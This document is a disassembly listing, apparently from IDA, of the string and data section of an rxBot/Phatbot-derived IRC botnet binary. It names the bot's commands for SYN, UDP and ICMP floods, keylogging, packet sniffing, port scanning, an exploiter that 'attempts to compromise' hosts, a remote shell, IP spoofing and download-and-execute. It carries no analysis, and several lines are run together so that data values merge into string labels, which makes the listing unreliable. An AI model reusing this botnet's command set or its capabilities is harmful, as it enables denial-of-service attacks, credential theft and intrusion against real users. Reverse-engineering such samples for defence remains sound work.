aPingflood	db 'pingflood',0        ; DATA XREF: .nsp0:00406A7Fo
		align 4
aNs		db 'ns',0               ; DATA XREF: .nsp0:00406A68o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: .nsp0:00406A51o
aPu1		db 'pu1',0              ; DATA XREF: .nsp0:00406A23o
aUdpflood	db 'udpflood',0         ; DATA XREF: .nsp0:00406A0Co
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: .nsp0:004069DEo
aPsc		db 'psc',0              ; DATA XREF: .nsp0:004069C7o
aPortscan	db 'portscan',0         ; DATA XREF: .nsp0:004069B0o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: .nsp0:0040698Ao
aC_action	db 'c_action',0         ; DATA XREF: .nsp0:00406973o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: .nsp0:0040695Co
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: .nsp0:00406945o
		align 10h
aSc		db 'sc',0               ; DATA XREF: .nsp0:0040692Eo
		align 4
aScan		db 'scan',0             ; DATA XREF: .nsp0:00406917o
		align 4
aRd		db 'rd',0               ; DATA XREF: .nsp0:00406900o
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: .nsp0:004068E9o
		align 4
aD1		db 'd1',0               ; DATA XREF: .nsp0:004068D2o
		align 10h
aDownload1	db 'download1',0        ; DATA XREF: .nsp0:004068BBo
		align 4
aWonk		db 'wonk',0             ; DATA XREF: .nsp0:004068A4o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: .nsp0:0040688Do
		align 10h
dword_431950	dd 234032Dh, 73796B73h,	3026E79haFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_43198C	dd 234032Dh, 73796B73h,	3026E79haFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: .nsp0:0040678Eo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: .nsp0:00406777o
					; .nsp0:00406D11o
aSyod		db 'syod',0             ; DATA XREF: .nsp0:00406760o
		align 10h
unk_4319D0	db  2Dh	; -		; DATA XREF: .nsp0:00406753o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: .nsp0:0040667Co
		align 4
aUsa_rm		db 'usa.rm',0           ; DATA XREF: .nsp0:00406665o
		align 4
aUsa_ack	db 'usa.ack',0          ; DATA XREF: .nsp0:0040664Eo
aUsa_syn	db 'usa.syn',0          ; DATA XREF: .nsp0:00406637o
aClone_0	db 'clone',0            ; DATA XREF: .nsp0:00406609o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: .nsp0:004065E0o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: .nsp0:004065C9o
		align 10h
aMv		db 'mv',0               ; DATA XREF: .nsp0:004065B2o
		align 4
aRename		db 'rename',0           ; DATA XREF: .nsp0:0040659Bo
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: .nsp0:0040656Do
		align 4
aExecute	db 'execute',0          ; DATA XREF: .nsp0:0040653Fo
aU11p		db 'u11p',0             ; DATA XREF: .nsp0:00406528o
		align 4
aUpdate		db 'update',0           ; DATA XREF: .nsp0:00406511o
		align 10h
aDe		db 'de',0               ; DATA XREF: .nsp0:004064FAo
		align 4
aDelay		db 'delay',0            ; DATA XREF: .nsp0:004064E3o
		align 4
aRp		db 'rp',0               ; DATA XREF: .nsp0:004064CCo
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: .nsp0:004064B5o
					; .nsp0:0040862Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: .nsp0:0040649Eo
aTsunami	db 'tsunami',0          ; DATA XREF: .nsp0:00406487o
aT3		db 't3',0               ; DATA XREF: .nsp0:00406470o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: .nsp0:00406459o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: .nsp0:00406442o
aC_part		db 'c_part',0           ; DATA XREF: .nsp0:0040642Bo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: .nsp0:00406414o
aC_join		db 'c_join',0           ; DATA XREF: .nsp0:004063FDo
		align 4
aC_n		db 'c_n',0              ; DATA XREF: .nsp0:004063E6o
aC_nick		db 'c_nick',0           ; DATA XREF: .nsp0:004063CFo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: .nsp0:004063B8o
aC_mode		db 'c_mode',0           ; DATA XREF: .nsp0:004063A1o
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: .nsp0:0040638Ao
aC_raw		db 'c_raw',0            ; DATA XREF: .nsp0:00406373o
		align 4
aCy		db 'cy',0               ; DATA XREF: .nsp0:0040632Eo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: .nsp0:00406317o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: .nsp0:004062BBo
aAddalias	db 'addalias',0         ; DATA XREF: .nsp0:0040628Do
		align 4
aKl		db 'kl',0               ; DATA XREF: .nsp0:00406276o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: .nsp0:0040625Fo
aGh		db 'gh',0               ; DATA XREF: .nsp0:00406236o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: .nsp0:00406221o
aCap		db 'cap',0              ; DATA XREF: .nsp0:0040620Co
unk_431B28	db  2Dh	; -		; DATA XREF: .nsp0:loc_4061ECo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_431B44	db  2Dh	; -		; DATA XREF: .nsp0:loc_4061E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: .nsp0:004061A0o
					; sub_409A6D+5F0o
		align 10h
unk_431B70	db  2Dh	; -		; DATA XREF: .nsp0:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
unk_431B90	db  2Dh	; -		; DATA XREF: .nsp0:00406189o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: .nsp0:004060FFo
		align 4
unk_431BB8	db  2Dh	; -		; DATA XREF: .nsp0:loc_4060F2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_431BD8	db  2Dh	; -		; DATA XREF: .nsp0:004060E8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: .nsp0:00406085o
		align 4
aPause		db 'pause',0            ; DATA XREF: .nsp0:00406031o
		align 4
aStop		db 'stop',0             ; DATA XREF: .nsp0:00406017o
		align 4
unk_431C14	db  2Dh	; -		; DATA XREF: .nsp0:loc_40600Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_431C34	db  2Dh	; -		; DATA XREF: .nsp0:00406000o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_431C58	db  2Dh	; -		; DATA XREF: .nsp0:00405F7Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_431C90	dd 234032Dh, 6C79656Bh,	302676FhaFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_431CCC	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_431CF0	dd 234032Dh, 6C79656Bh,	302676FhaAlreadyRunning	db '- Already running.',0
		align 10h
dword_431D10	dd 234032Dh, 6C79656Bh,	302676FhaNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_431D3C	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: .nsp0:00405DE0o
		align 10h
unk_431D80	db  2Dh	; -		; DATA XREF: .nsp0:loc_405DD5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_431DB0	db  2Dh	; -		; DATA XREF: .nsp0:00405DCBo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_431DF0	db  2Dh	; -		; DATA XREF: .nsp0:00405D9Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_16	db '- Failed to start sniffer thread, error: <%d>.',0
unk_431E2C	db  2Dh	; -		; DATA XREF: .nsp0:00405D2Co
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_431E5C	db  2Dh	; -		; DATA XREF: .nsp0:00405CC8o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: .nsp0:00405C91o
dword_431E84	dd 234032Dh, 696E7370h,	3026666haNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
dword_431EB0	dd 234032Dh, 696E7370h,	3026666haCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_431EEC	dd 234032Dh, 696E7370h,	3026666haFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_431F28	dd 234032Dh, 696E7370h,	3026666haCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_431F58	dd 234032Dh, 696E7370h,	3026666haAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: .nsp0:00405B59o
					; .nsp0:00405CA8o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: .nsp0:00405B42o
		align 4
aRf		db 'rf',0               ; DATA XREF: .nsp0:00405B2Do
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: .nsp0:00405B18o
		align 4
aCm		db 'cm',0               ; DATA XREF: .nsp0:00405B03o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: .nsp0:00405AEEo
aMirccmd	db 'mirccmd',0          ; DATA XREF: .nsp0:00405AC4o
aVisit		db 'visit',0            ; DATA XREF: .nsp0:00405A9Ao
		align 4
aLi		db 'li',0               ; DATA XREF: .nsp0:00405A85o
		align 10h
aList		db 'list',0             ; DATA XREF: .nsp0:00405A70o
		align 4
aGt		db 'gt',0               ; DATA XREF: .nsp0:00405A5Bo
		align 4
aDel		db 'del',0              ; DATA XREF: .nsp0:00405A31o
aDelete		db 'delete',0           ; DATA XREF: .nsp0:00405A1Co
					; .nsp0:00406068o
		align 4
aKi		db 'ki',0               ; DATA XREF: .nsp0:00405A07o
		align 4
aKp		db 'kp',0               ; DATA XREF: .nsp0:004059DDo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: .nsp0:004059C8o
		align 4
aDn		db 'dn',0               ; DATA XREF: .nsp0:004059B3o
		align 10h
aDns		db 'dns',0              ; DATA XREF: .nsp0:0040599Eo
aSe		db 'se',0               ; DATA XREF: .nsp0:00405989o
		align 4
aPr		db 'pr',0               ; DATA XREF: .nsp0:00405935o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: .nsp0:00405920o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: .nsp0:0040590Bo
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: .nsp0:004058F6o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: .nsp0:004058E1o
aC_quit		db 'c_quit',0           ; DATA XREF: .nsp0:004058CCo
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: .nsp0:004058A2o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: .nsp0:00405878o
aPt		db 'pt',0               ; DATA XREF: .nsp0:00405863o
		align 4
unk_432028	db  2Dh	; -		; DATA XREF: .nsp0:004057DBo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: .nsp0:00405777o
aRegister	db 'register',0         ; DATA XREF: .nsp0:0040574Eo
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: .nsp0:004056F5o
		align 4
aMix		db 'mix',0              ; DATA XREF: .nsp0:0040562Bo
dword_432088	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: .nsp0:004055D7o
					; .nsp0:0040560Eo
		dd 0
dword_4320A0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: .nsp0:004055A0o
		dd 1
dword_4320B8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: .nsp0:00405569o
					; .nsp0:0040567Do
aCtcp		db 'ctcp',0             ; DATA XREF: .nsp0:00405517o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: .nsp0:00405482o
					; .nsp0:004054BEo ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: .nsp0:0040542Bo
		align 4
aMsg		db 'msg',0              ; DATA XREF: .nsp0:0040533Fo
aChgnick	db 'chgnick',0          ; DATA XREF: .nsp0:004052F9o
aNick_0		db 'nick',0             ; DATA XREF: .nsp0:004051FCo
					; .nsp0:004057FAo
		align 10h
dword_432100	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: .nsp0:004051DFo
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_432128	dd 636364h	dword_43212C	dd 6E696F6Ah, 7261702Fh, 74hdword_432138	dd 4B43494Eh, 732520h					; .nsp0:00405256o ...
dword_432140	dd 69257325h, 0						; sub_40AC10+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: .nsp0:00404FA6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: .nsp0:00404F89o
					; .nsp0:00405072o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: .nsp0:00404F62o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: .nsp0:00404F45o
aPart_0		db 'part',0             ; DATA XREF: .nsp0:00404F23o
					; .nsp0:0040584Eo
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: .nsp0:00404F06o
					; .nsp0:00405049o ...
aJoin		db 'join',0             ; DATA XREF: .nsp0:00404EE4o
					; .nsp0:00405824o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: .nsp0:00404EC7o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: .nsp0:00404E5Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: .nsp0:00404E12o
		align 4
dword_4321A8	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0dword_4321BC	dd 7463h	dword_4321C0	dd 76697270h, 2067736Dh, 3A207325h, 7325h					; .nsp0:00405396o ...
dword_4321D0	dd 5Fh							; .nsp0:00404DC9o ...
dword_4321D4	dd 6D70h						; .nsp0:004062D2o
unk_4321D8	db  2Dh	; -		; DATA XREF: .nsp0:00404D0Eo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: .nsp0:00404C91o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: .nsp0:00404C7Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: .nsp0:00404C65o
aRin		db 'rin',0              ; DATA XREF: .nsp0:00404C50o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: .nsp0:00404C3Bo
		align 4
unk_432238	db  2Dh	; -		; DATA XREF: .nsp0:00404C30o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_432278	db  2Dh	; -		; DATA XREF: .nsp0:00404BBEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: .nsp0:00404B41o
unk_4322B0	db  2Dh	; -		; DATA XREF: .nsp0:00404B23o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_4322DC	db  2Dh	; -		; DATA XREF: .nsp0:00404AF9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: .nsp0:00404AC1o
		align 4
unk_43231C	db  2Dh	; -		; DATA XREF: .nsp0:00404A68o
					; .nsp0:00404AD9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: .nsp0:loc_404A46o
					; .nsp0:00405A46o
unk_432358	db  2Dh	; -		; DATA XREF: .nsp0:004049D4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_432384	db  2Dh	; -		; DATA XREF: .nsp0:004049C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_4323B0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325hunk_4323C0	db  2Dh	; -		; DATA XREF: .nsp0:loc_404965o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_432470	dd 234032Dh, 75636573h,	3026572haFailedToSta_18	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_4324AC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: .nsp0:004048C8o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: .nsp0:004048C2o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: .nsp0:004048BBo
		align 10h
unk_4324E0	db  2Dh	; -		; DATA XREF: .nsp0:00404844o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_432520	db  2Dh	; -		; DATA XREF: .nsp0:004047C0o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_43254C	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_432588	dd 234032Dh, 6B636F73h,	3023473h					; .nsp0:00411877o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_4325B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302hdword_4325C0	dd 646E6946h, 6C696620h, 65hdword_4325CC	dd 234032Dh, 636F7270h,	2D030273h, 0dword_4325DC	dd 636F7250h, 20737365h, 7473696Ch, 0dword_4325EC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: .nsp0:0040458Co
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40457Fo
					; .nsp0:loc_4096E5o ...
		align 10h
dword_432620	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: .nsp0:0040456Ao
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40455Do
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_404547o
					; .nsp0:004094C4o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00404535o
		align 10h
unk_432670	db  2Dh	; -		; DATA XREF: .nsp0:004044E9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_43269C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: .nsp0:004044ABo
		dd 2E7325h
unk_4326B4	db  2Dh	; -		; DATA XREF: .nsp0:00404496o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_21	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_4326F0	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: .nsp0:00404427o
		dd 65726874h, 2E736461h, 0
dword_432710	dd 627573h	dword_432714	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: .nsp0:004043AFo
		dd 2E7473h
unk_43272C	db  2Dh	; -		; DATA XREF: .nsp0:00404394o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_22	db '- Failed to start listing thread, error: <%d>.',0
dword_432764	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: .nsp0:00404307o
		dd 2E676Fh
dword_43277C	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: .nsp0:00404283o
		dd 6F666E49h, 2Eh
dword_432798	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: .nsp0:00404254o
		dd 2E6F666Eh, 0
dword_4327B4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: .nsp0:004041FFo
		dd 746F4220h, 2Eh
unk_4327D0	db  2Dh	; -		; DATA XREF: .nsp0:004041E3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_43280C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: .nsp0:0040416Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: .nsp0:0040414Eo
		align 10h
unk_432830	db  2Dh	; -		; DATA XREF: .nsp0:004040ECo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
dword_432850	dd 234032Dh, 656B6463h,	3027379haSearchComplete	db '- Search completed.',0
dword_432870	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: .nsp0:00404074o
		dd 2E7325h
unk_432888	db  2Dh	; -		; DATA XREF: .nsp0:loc_403FE5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_4328A8	db  2Dh	; -		; DATA XREF: .nsp0:00403FDBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_4328D0	db  2Dh	; -		; DATA XREF: .nsp0:00403FBCo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_4328FC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: .nsp0:00403FA6o
		dd 72616F62h, 2E64h
dword_432918	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: .nsp0:00403F78o
		dd 2Dh
unk_432930	db  2Dh	; -		; DATA XREF: .nsp0:loc_403F68o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_43295C	db  2Dh	; -		; DATA XREF: .nsp0:00403F61o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_432980	db  2Dh	; -		; DATA XREF: .nsp0:loc_403F3Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_4329AC	db  2Dh	; -		; DATA XREF: .nsp0:loc_403F36o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_4329D8	db  2Dh	; -		; DATA XREF: .nsp0:00403F2Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_4329FC	db  2Dh	; -		; DATA XREF: .nsp0:00403EC2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_24	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_432A38	db  2Dh	; -		; DATA XREF: .nsp0:00403E57o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_432A74	db  2Dh	; -		; DATA XREF: .nsp0:00403D8Eo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_432AB0	db  2Dh	; -		; DATA XREF: .nsp0:00403D1Fo
					; sub_40B9DD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_432AEC	db  2Dh	; -		; DATA XREF: .nsp0:00403C18o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_432B28	db  2Dh	; -		; DATA XREF: .nsp0:00403BA9o
					; sub_40B9DD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_432B5C	db  2Dh	; -		; DATA XREF: .nsp0:00403AF7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_432B7C	db  2Dh	; -		; DATA XREF: .nsp0:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
